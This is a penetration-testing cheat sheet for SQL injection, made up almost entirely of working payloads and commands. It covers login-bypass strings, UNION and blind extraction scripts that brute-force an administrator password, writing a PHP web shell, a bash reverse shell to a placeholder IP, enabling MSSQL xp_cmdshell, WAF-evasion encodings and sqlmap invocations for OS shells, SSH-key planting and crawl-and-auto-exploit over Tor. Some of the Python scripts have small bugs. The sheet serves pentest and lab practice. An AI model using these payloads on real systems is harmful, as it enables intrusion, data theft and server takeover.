SQL Injection

Structured Query Language Injection

Detection

example [Nothing]
example'
example"
example`
example')
example")
example`)
example'))
example"))
example`))

Confirmation

- Confirming with logical operations

true
1
1>0
2-1
0+1
1*1
1%2
1 & 1
1&1
1 && 2
1&&2
-1 || 1
-1||1
-1 oR 1=1
1 aND 1=1
(1)oR(1=1)
(1)aND(1=1)
-1/**/oR/**/1=1
1/**/aND/**/1=1
1'
1'>'0
2'-'1
0'+'1
1'*'1
1'%'2
1'&'1'='1
1'&&'2'='1
-1'||'1'='1
-1'oR'1'='1
1'aND'1'='1
1"
1">"0
2"-"1
0"+"1
1"*"1
1"%"2
1"&"1"="1
1"&&"2"="1
-1"||"1"="1
-1"oR"1"="1
1"aND"1"="1
1`
1`>`0
2`-`1
0`+`1
1`*`1
1`%`2
1`&`1`=`1
1`&&`2`=`1
-1`||`1`=`1
-1`oR`1`=`1
1`aND`1`=`1
1')>('0
2')-('1
0')+('1
1')*('1
1')%('2
1')&'1'=('1
1')&&'1'=('1
-1')||'1'=('1
-1')oR'1'=('1
1')aND'1'=('1
1")>("0
2")-("1
0")+("1
1")*("1
1")%("2
1")&"1"=("1
1")&&"1"=("1
-1")||"1"=("1
-1")oR"1"=("1
1")aND"1"=("1
1`)>(`0
2`)-(`1
0`)+(`1
1`)*(`1
1`)%(`2
1`)&`1`=(`1
1`)&&`1`=(`1
-1`)||`1`=(`1
-1`)oR`1`=(`1
1`)aND`1`=(`1

- Confirming with Timing

MySQL (string concat and logical ops)

1' + sleep(10)

1' and sleep(10)

1' && sleep(10)

1' | sleep(10)

PostgreSQL (only support string concat)

1' || pg_sleep(10)

MSQL

1' WAITFOR DELAY '0:0:10'

Oracle

1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])

1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite

1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))

1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

Login Bypass through SQL Injection

'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';-- azer 
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

Non-error and Error Based SQL Injection Data Retrieving

First of all detect protocol:

https://portswigger.net/web-security/sql-injection/cheat-sheet (See the same injetions for Oracle, Postgre, etc.)

  • Number of columns

' order by {Number, increase or decrease until get the correct number of columns}-- -

  • Version

In the following examples we have 4 columns, we are going to inject what we want in one of them. We can put NULL,NULL,injection,NULL instead of the numbers if that doesn't work. We are going to use the same methodology in most of the remaining injections.

' union select 1,version(),3,4-- -

' UNION SELECT null,@@version,null,null-- -

' and substring(@@version,1,1)=4-- -

' and substring(@@version,1,1)=5-- -

' union all select 1,2,@@version,4/*-- -

  • Get user

' union select 1,user(),3,4-- -

  • Read files

' UNION SELECT 1,select_file('/etc/passwd'),3,4,5-- -

  • Databaes

' union select 1,schema_name from information_schema.schemata-- -

To represent this separatly with commas:

group_concat(schema_name) from information_schema.schemata

If this doesn't represnt all the info, we could go one by one:

schema_name from information_schema.schemata limit 0,1-- -

Then limit 1,1, Then 2,1, Then 3,1 …

  • Tables

To get all the tables from all the databases:

' union select table_name,NULL from information_schema.tables-- -

Then to filter by any database we discovered previously:

' union select table_name,NULL from information_schema.tables where table_schema='name of the database'-- -

Here as before if this doesn't represent all the info we could go one by one:

' union select 1,table_name,3,4,5 from information_schema.tables limit 0,1-- -

Then limit 1,1, Then 2,1, Then 3,1 …

We can automate this enumeration with a basic bash script:

for i in $(seq 1 200); do
    echo -n "For number $i: "
    curl --silent "
http://www.example.com/example.php?Id=-1+UNION+SELECT+1,table_name,3,4,5+from+information_schema.tables+limit+$i,1--%20-
" | grep "{what we want}" | cut -d '>' -f 2 | awk '{print $1}' FS="<"
done
  • Columns

Once located the table we are interested in we are going to enumerate columns:

' union select column_name,NULL from information_schema.columns where table_schema='name of the database' and table_name='name of the table'-- -

Then to get the data from a column:

' union select column-example-1,column-example-2 from name of the table-- - Acts in the actual database

' union select column-example-1,column-example-2 from name-of-the-database.name-of the-table-- -

' union select group_concat(column-example1,":"column-example-2),NULL from name-of-the-database.name-of the-table-- -

If this doesn't read ":" or other thing, we write it down in hexadecimal, ex: ":" --> 0x3a

To convert anything to hexadecimal: echo "what we want to convert" | tr -d '\n' | xxd -ps

Also if the web doesn't read the previous concat, we could concat trough different ways, ex:

' union select column-example-1||':'||column-example-2 from name of the table-- -

  • Writing directories and php command exec

First we try to create a .txt:

' union select "example" into outfile "/var/www/html/example.txt"-- -

Then if the web uses php we try uploading a php file that runs cmd:

' union select "<?php SYSTEM($_REQUEST['cmd']); ?>" into outfile "/var/www/html/cmd.php"-- -

Then in the browser we will verify that the file exists and we can run commands:

www/example.com/cmd.php?cmd=whoami

If this return a command execution then we can get a full shell:

curl example/cmd.php --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/{IP}/{PORT} 0>&1"'

- To execute commands

If we can't execute commands and we are agains MSSQL, we could try enabling xp_cmdshell before with the following SQL Injections:

'; EXEC sp_configure 'show advanced options',1;--

'; RECONFIGURE;--

'; EXEC sp_configure 'xp_cmdshell',1;--

'; RECONFIGURE;--

Confirm:

tcpdump -i tun0 icmp

'; EXEC master.dbo.xp_cmdshell 'ping -n 2 192.168.45.225';--

or

admin' union select null,null; EXEC sp_configure 'show advanced option', '1'; --

admin' union select null,null; RECONFIGURE; --

admin' union select null,null; EXEC sp_configure 'xp_cmdshell','1'; --

admin' union select null,null; RECONFIGURE; --

admin' union select null,null; EXEC xp_cmdshell 'whoami'; --

Blind SQL Injection with conditional responses and conditional errorrs (Boolean-based)

In a Blind SQL Injection we can't see the error and we can't see the data on the web.

Here wen we use ', or ' or1=1, or ' union select, we can't see anything, the web returns you the input.

We can notice a Bsql injection w/ conditonal responses for example if we use and 1=1-- -, that is true, and the web returns "Welcome back!" for example, but if we put 3=2 that is false, we can see that this doesn't return the "Welcome back!" message.

Now we can start the Blind SQL Injection.

On the other hand the Bsql injection w/ conditional errors could we noticed when for example we inject true queries and the web returns 500 Internal Server Error, but if we inject false ones, we recibe 200 Ok status.

  • Manually enumeration

' and (select 'a' from users limit 1)='a

users is a table we think that could exist and we try a to see if there is any administrator in that table, if this return the true output we know that users table exist and that there is an user with letter a.

Then we can try adding where username is admin or administrator to see if that user exists.

Then we try getting the password length adding at the end and length(password)=>20 ||'

Also we can try getting database name with substr()

' and (substr(database(),<offset>,<character length>))='<character>' --+

  • Automation with wfuzz

Here we are going to observe the http response size and filter with --hh --hw --hc parameters of wfuzz

Determine databsae name assuming database name does not include special characters:

for i in $(seq 1 10); do wfuzz -c -z list,a-b-c-d-e-f-g-h-i-j-k-l-m-n-o-p-q-r-s-t-u-v-w-x-y-z --hw=<word count> "http://example.com/example.php?id=1' and (substr(database(),$i,1))='FUZZ' --+";done

We can also use ascii. The below range is the standard ASCII characters (32-127):

for i in $(seq 1 10); do wfuzz -c -z range,32-127 --hw=<word count> "http://example.com/example.php?id=1' and (ascii(substr(database(),$i,1)))=FUZZ --+";done

Determine table name (Increment limit first argument by 1 to get the next available table name):

for i in $(seq 1 10); do wfuzz -c -z range,32-127 --hw=<word count> "http://example.com/example.php?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),$i,1)))=FUZZ --+";done

Determine column name (Increment limit first argument by 1 to get the next available column name):

for i in $(seq 1 10); do wfuzz -c -z range,32-127 --hw=<word count> "http://example.com/example.php?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name=<table name> limit 0,1),$i,1)))=FUZZ --+";done

Update ASCII range to include special characters if you're going after users table.

  • Python automation to get a password

First install pwntools (pip3 install pwntools)

Example of script that retrieves administrator password throguh injection in cookies:

#!/usr/bin/python3
	
from pwn import *
import request, signal, time, pdb, sys, string
	
#To exit:
def def_handler(sig, frame):
	print("\n\n[!] Exiting…\n")
	sys.exit(1)
#ctrl+c
signal.signal(signal.SIGINT, def_handler)
	
main_url = "https://……" #Here we put the web: 
						
characters = string.ascii_lowercase + string.digits #We are defining characters as lowercase letters from a-z and numbers from 0-9, if we use #string.printable it uses all characters, in the next image are all the string library
		
	#options:
		
def makeRequest():
	
	password= ""
		
	pl = log.progress("Brute force")
	pl.status("Starting Brute force attack")
	p2 = log.progress("Password")
		
	time.sleep(2)
		
	for position in range(1,21):
	#we want 1 to 20 because we know from the previous steps that the password length is #20, so in python to make 1-20 we should put 1-21.
		for character in characters:
			cookies= {
				'TrakingId':"………" and (select_substring(password,%d,1) from users where username='administrator')='%s" (position,character), #we copy the #trakingid from burpsuite in which we selected the password substring.
				#%d means digit and %s means character
				'session': ……… #and here the session from BurpSuit
			}
			
			pl.status(cookies['Trakingid'])
				
			r = request.get(main_url, cookies=cookies)
			if "Welcome back!" in r.text: #here we use welcome back cause in this example, when its true, the web returns: "Welcome back!"
										   #for example we could put here if r.status_code == 500: if we its w/ error response
				password += character
				p2.status(password)
				break

Blind SQL Injection with time delays (Time-based)

After trying conditional responses and conditional errors, we don't get anything, so we start trying with Blind SQL Injection Time Based.

First of all we need to confirm time-based blind SQL injection using sleep() function

' and sleep(10) --+

  • Manually enumeration

Determine database version assuming the back-end database is running version 5:

http://example.com/example.php?id=1' and if((select version()) like "5%", sleep(10), null) --+

  • Automation with wfuzz

Here we are going to observe the http response size and filter with --hh --hw --hc parameters of wfuzz

Determine database name. The below range is the standard ASCII characters (32-127):

for i in $(seq 1 10); do wfuzz -v -c -z range,32-127 "http://example.com/example.php?id=1' and if((ascii(substr(database(),$i,1)))=FUZZ, sleep(10), null) --+";done > <filename.txt> && grep "0m9" <filename.txt>

Determine table name (Increment limit first argument by 1 to get the next available table name):

for i in $(seq 1 10); do wfuzz -v -c -z range,32-127 "http://example.com/example.php?id=1' and if((select ascii(substr(table_name,$i,1))from information_schema.tables where table_schema=database() limit 0,1)=FUZZ, sleep(10), null) --+";done > <filename.txt> && grep "0m9" <filename.txt>

Determine column name (Increment limit first argument by 1 to get the next available table name):

for i in $(seq 1 10); do wfuzz -v -c -z range,32-127 "http://example.com/example.php?id=1' and if((select ascii(substr(column_name,$i,1))from information_schema.columns where table_name='<table name>' limit 0,1)=FUZZ, sleep(10), null) --+";done > <filename.txt> && grep "0m9" <filename.txt>

Extract column content (Change <column name> to get the content of next column):

for i in $(seq 1 10); do wfuzz -v -c -z range,0-10 -z range,32-127 "http://example.com/example.php?id=1' and if(ascii(substr((select <column name> from <table name> limit FUZZ,1),$i,1))=FUZ2Z, sleep(10), null) --+";done > <filename.txt> && grep "0m9" <filename.txt>

Update ASCII range to include special characters if you're going after users table.

  • Python automation to get a password

Example of script that retrieves administrator password throguh injection in cookies (postgre protocol):

#!/usr/bin/python3
	
from pwn import *
import request, signal, time, pdb, sys, string
	
#To exit:
def def_handler(sig, frame):
	print("\n\n[!] Exiting…\n")
	sys.exit(1)
#ctrl+c
signal.signal(signal.SIGINT, def_handler)
	
main_url = "https://……" 
							
characters = string.ascii_lowercase + string.digits
def makeRequest():
	
	password= ""
		
	pl = log.progress("Brute force")
	pl.status("Starting Brute force attack")
	p2 = log.progress("Password")
		
	time.sleep(2)
		
	for position in range(1,21):
		for character in characters:
			cookies= {
				'TrakingId': "…………'||(select case when substring(password,%d,1)='%s' then pg_sleep(1.5) else pg_sleep(0) end from users where username='administrator')-- -" % (position,character),
				'session': ………
			}
				
			pl.status(cookies['Trakingid'])
				
			time_start = time.time()
				
			r = request.get(main_url, cookies=cookies)
				
			time_end = time.time()
				
			if time.end - time.start >1.5:
				password += character
				p2.status(password)
break

WAF Bypassing (Web Aplication Firewall)

Replacing Space:

**/**/

+

/*! */

/*!50000 */

/*!1234 */

/*--*/

Null Bytes:

http://example.com/news.php?id=1+%00’union+select+1,2,3′–

Queries through sql comments:

http://example.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3–

URL Encodings:

http://example.com/news.php?id=-1 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4—

Encode to Hex Forbidden:

http://example.com/news.php?id=-1/%2A%2A/union/%2A%2A/select/%2A%2A/1,2,3,4,5 –+-

http://example.com/news.php?id=-1%2F%2Funion%2F%2Fselect%2F**%2F1,2,3,4,5 –+-

Case Changing:

http://example.com/news.php?id=-1+UnIoN//SeLecT//1,2,3–+-

Replaced Keywords:

http://example.com/news.php?id=-1+UNunionION+SEselectLECT+1,2,3–+

Using characters:

http://example.com/news.php?id=-1+uni*on+sel*ect+1,2,3,4–+-

CRLF Technique (Carriage Return and Line Feed):

http://example.com/news.php?id=-1+%0A%0Dunion%0A%0D+%0A%0Dselect%0A%0D+1,2,3,4,5 —

HTTP Parameter Pollution (PHP):

http://example.com/news.php?id=1;select+1&id=2,3+from+users+where+id=1–

http://example.com/news.php?id=-1/* &id= */union/* &id= */select/* &id= */1,2 —

Blind SQL Injection with out-of-band interaction

In this case conditionals, error based and time based doesn't apply.

So we go down to the DNS lookup in the cheat sheet and copy all the text and in Burp Collaborator Subdomain copy our Burp Suite Collaborator Subdomain (only in profesional version). Also for subdomains Ngrok is a great option. Then if this doesn't work we must URL encode all the text (ctrl+U).

Blind SQL Injection with out-of-band data exfiltration

Now that we have tryed all DNS lookup commands and know that protocol is runing, we start with the dns data exfiltration, so we copy the text from the cheat sheet.

SQL Injection with filter bypass via XML encoding

An usefull Burp Suite extender is Hackvector. This this extension we can easly convert the query in too many different ways to get results.

Then we can try the different SQL Injections (schemata,……) there to get what we want.

SQLmap

- Basic Arguments

sqlmap -u "{URL including POST parameter extracted with burp}" --cookie="{cookie}" --data="{vulnerable data tested in burp}" --batch

sqlmap -u "{URL including POST parameter extracted with burp}" --cookie="{cookie}" --data="{vulnerable data tested in burp}" --dbs --batch

sqlmap -u "{URL including POST parameter extracted with burp}" --cookie="{cookie}" --data="{vulnerable data tested in burp}" -D {name of the dbs} --tables --batch

sqlmap -u "{URL including POST parameter extracted with burp}" --cookie="{cookie}" --data="{vulnerable data tested in burp}" -D {name of the dbs} -T {name of the table} --batch --dump

sqlmap --url="" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs

SQLmap command with known databse and technique (error based in the following example):

sqlmap -u "<url>" -p "<param>" --technique=E --dbms=<data base, ex: oracle> --level=2 --risk=2 --tamper=space2comment --batch

SQLmap command to narrow down results from sqli exploitation:

-D <database name> -T <table name> -C "columun1,column2,column3" --where="column1 IS NOT NULL" --dump

Others:

Others:
-a, --all #Retrieve everything
-b, --banner #Retrieve DBMS banner
--current-user #Retrieve DBMS currents user
--current-db #Retrieve DBMS current database
--dbs #Enumerate DBMS databases
--exclude-sysdbs #Exclude DBMS organization dossiers when enumerating tables
--users #Numbering DBMS users
--passwords #Enumerate DBMS users password hashes
--schema #Enumerate DBMS schema
--count #Retrieve number of entries for table(s)
-X EXCLUDE #DBMS database identifier(s) to not enumerate
-U USER #DBMS user to enumeration

- Request File

We can copy the burp interception in a request, leave the injection path without any payload and rigth click, save file, then:

sqlmap -r admin.req -p total_service --batch

To load a request file and use mobile user-agent:

sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1

- Shell

We can also run code directly from sqlmap if RCE can be executed:

To execute a command:

sqlmap -r login.req --os-cmd=whoami --batch

To launch an interactive shell

sqlmap -r login.req --os-shell --batch

Prompt for an OOB shell, Meterpreter or VNC:

sqlmap -r login.req --os-pwn

SSH Shell:

sqlmap -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/

- Crawl a website with SQLmap and auto-exploit

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

- Custom Injections

Set a suffix:

sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "

Set a prefix:

sqlmap -u "http://example.com/?id=1" -p id --prefix="') "

--not-string "string" to find a string that does not appear in True responses (for finding boolean blind injection):

sqlmap -r r.txt -p id --not-string ridiculous --batch

5 commands to easily identify sqlis with sqlmap:

subfinder -d target.com | tee -a domains

cat domains | httpx | tee -a urls.alive

cat urls.alive | waybackurls | tee -a urls.check

gf sqli urls.check >> urls.sqli

sqlmap -m urls.sqli --dbs --batch

- WAF Bypassing

To check the WAF:

–identity-waf or –check-waf

To use tor and a random user agent:

sqlmap -u http://www.ejemplopaginaweb.com/galeria.php?categoria=2 --tor --check-tor --tor-port=9150 --tor-type=SOCKS5 --level=5 --risk=3 --random-agent

Once identified the back-end database, we will use tampers:

--list-tampers

--tamper=name_of_the_tamper

--tamper=base64encode

Example:

sqlmap.py -r hack.txt --dbs --risk-3 --level-3 --tamper-between --flush-session-technique-B

sqlmap.py -r hack.txt --dbs --risk-3 --level-3 --tamper-between, tofla -technique=B

Use one of the following tampers depending on the back-end database:

General Tamper testing:

tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

MySQL:

space2randomblank,
unionalltounion
unmagicquotes
versionedkeywords
versionedmorekeywords
xforwardedforbetween
bluecoat
charencode
charunicodeencode
concat2concatws
equaltolike
greatest
halfversionedmorekeywords
ifnull2ifisnull
space2morehash
space2mysqldash
space2plus
modsecurityversioned
modsecurityzeroversioned
multiplespaces
securesphere
space2comment
space2hash
nonrecursivereplacement
percentage
randomcase

MSSQL:

sp_password
space2comment
space2dash
space2mssqlblank
space2mysqldash
space2plus
space2randomblank
charencode
charunicodeencode
equaltolike
greatest
unionalltounion
unmagicquotes
multiplespaces
nonrecursivereplacement
percentage
randomcase
securesphere

MSAccess:

modsecurityversioned
modsecurityzeroversioned
equaltolike
greatest
halfversionedmorekeywords
nonrecursivereplacement
percentage
randomcase
securesphere
between
bluecoat
charencode
charunicodeencode
concat2concatws
space2comment
space2hash
space2morehash
space2mysqldash
space2plus
space2randomblank
unionalltounion
unmagicquotes
versionedkeywords
versionedmorekeywords
ifnull2ifisnull
multiplespacess

PostgreSQL:

xforwardedfor
space2comment
space2plus
space2randomblank
between
charencode
charunicodeencode
equaltolike
greatest
multiplespaces
nonrecursivereplacement
percentage
randomcase
securesphere
between

SQLite:

space2plus
unionalltounion
unmagicquotes
xforwardedfor
ifnull2ifisnull
randomcase
securesphere
space2comment
space2dashmmultiplespaces
nonrecursivereplacement

Automating Blind SQL injection over WebSocket

Last updated